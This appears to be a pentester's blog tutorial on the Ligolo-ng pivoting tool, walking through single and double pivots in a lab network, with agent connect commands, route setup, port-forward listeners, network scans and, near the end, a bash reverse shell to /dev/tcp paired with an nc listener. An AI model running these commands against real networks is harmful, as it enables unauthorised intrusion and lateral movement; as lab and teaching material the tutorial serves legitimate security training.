Table of contents
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Pivoting is a technique used by attackers to move from one compromised system to another. This can be a valuable tool for attackers, as it allows them to expand their reach and access more sensitive data.
By pivoting, pentesters can gain access to systems that would otherwise be unreachable. I've been working through a couple of labs recently and it has made me realize how painstaking manual pivoting is.
I have used a variety of tools for pivoting, including chisel, shuttle, SSH reverse port forward paired with proxychains,
ngrok and plink. However, I have found that these tools can be cumbersome and difficult to use (when there are multiple networks stacked on top of each other). During my lab time with Cobalt Strike, I realized how easy pivoting with a C2 framework was.
Recently, I discovered a new tool called Ligolo-ng written by Nicolas Chatelain that I found to be much more user-friendly and effective in what it does. Upon usage I found Ligolo to be a C2 framework just for pivoting & proxying. I'd be covering the setup, usage and practicality of this tool in this post!
Here's a video demo showcasing the tool's capability! This'll help you decide if you should continue reading.
NETWORK A - 10.129.203.0/24 NETWORK B - 172.16.8.0/24 NETWORK C - 172.16.9.0/24 DMZ01 - Connected to both Network A & B DC01 - Connected to both Network B & C
This is the network that we'll be pivoting through and testing this tool on. Our first pivot will be on
DMZ01 to enable us to access Network B and the following double pivot would be on
DC01 to enable us to access Network C.
Pick your poison and meet me over at the next section!
$ go build -o agent cmd/agent/main.go $ go build -o proxy cmd/proxy/main.go # Build for Windows $ GOOS=windows go build -o agent.exe cmd/agent/main.go $ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
PROXY SERVER = C2 / Kali Box AGENT = pwned host / victim box
Setting up the Proxy Server
This section will cover setting up of the Proxy Server on the Kali Box
Creating a TUN Interface
sudo ip tuntap add user nee mode tun ligolo sudo ip link set ligolo up
Starting the Proxy Server
./proxy -autocert will generate legitimate certificates using Let's Encrypt.
Setting up the Agent
RED - Hosts reachable BLUE - Established Pivot Tunnel
Once we've set up the agent on DMZ01, we'd have owned 2 networks and we'd be able to access all hosts on Network B using the pivot on DMZ01.
We can see that the DMZ01 host has 2 network adapters. However, from our KALI we are only able to hit the
10.129.203.0/16 network before the pivot.
Connecting to Proxy Server
./agent -connect 10.10.15.146:11601 -ignore-cert
Now that we're successfully connected we can head back to the Kali box and add an
ip route. This is to let our Kali box know which interface to use whilst accessing the pivot networks.
Adding a new route on Proxy Server
sudo ip route add 172.16.8.0/24 dev ligolo
Checking Connectivity to Hosts on Network B
cme smb 172.16.8.0/24
Nice! We're able to reach Network B thru our pivot 👍
This is where things usually get a little chaotic. Usually we'd have sshuttle running on the initial pivot and we'd put in place a SSH reverse port forward or a SOCAT port forward on the initial pivot to send connections back to the Kali box and then use something like chisel to establish a tunnel with the double pivot box.
With Ligolo, we're able to do something similar to cobalt strike's
rportfwd command on cobalt strike will bind a port on the compromised target and relay all incoming traffic to a specified host and port. Ligolo is able to perform this exact task with the
listener_add command. This eliminates the need for multiple SSH reverse port forwards. Everything can be done within the same tunnel. Let's take a look at how that's done.
RED - Hosts Reachable BLUE - Established Pivot Tunnel
With the help of
listener_add on DMZ01, we're able to establish a secure tunnel with the DC which we can use to directly access Network C without proxychains (🤢)!
Creating a Listener
(The box that is connected to both Network A and Network B)
on the initial pivot to send the new host's traffic to the Proxy server so that its able to establish a tunnel.
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp listener_list
Connect Double Pivot box to Proxy Server
(The box that is connected to both Network B and Network C)
./agent.exe -connect 172.16.8.120:11601 -ignore-cert
(On Proxy Server)
Adding a new route on Proxy Server
sudo ip route add 172.16.9.0/24 dev ligolo
Checking Connectivity to Hosts on Network C
nmap -Pn -p 22 172.16.9.25
ssh -i ssmallsadm.key email@example.com
Catching Reverse Shell via Double Pivot
RED - Hosts Reachable BLUE - Established Pivot Tunnel GREEN - Reverse Shell Traffic
Since we are now able to reach the various networks directly, a reverse shell isn't the most ideal. A bind shell would be the most efficient. However, if given a scenario where we aren't able to bind to ports on a particular box, let's take a look at how this can be done.
Instead of having to forward ports from MGMT01 → DC01 → DMZ01 → Kali, with Ligolo we could create a listener on DC01 which would directly forward traffic to our Kali box via the existing tunnel!
Creating a Listener
listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp
Listener #1 will now forward all traffic hitting DC01:9001 to the PROXYSERVER:9001. (You could also forward it to another host if necessary)
Triggering & Catching reverse shell
sh -i >& /dev/tcp/172.16.9.3/9001 0>&1
nc -nvlp 9001
Thats all there is to it!
Hope this helps someone out there who's having a hard time double / tripple / quadruple / quintuple pivoting with the usual toolz!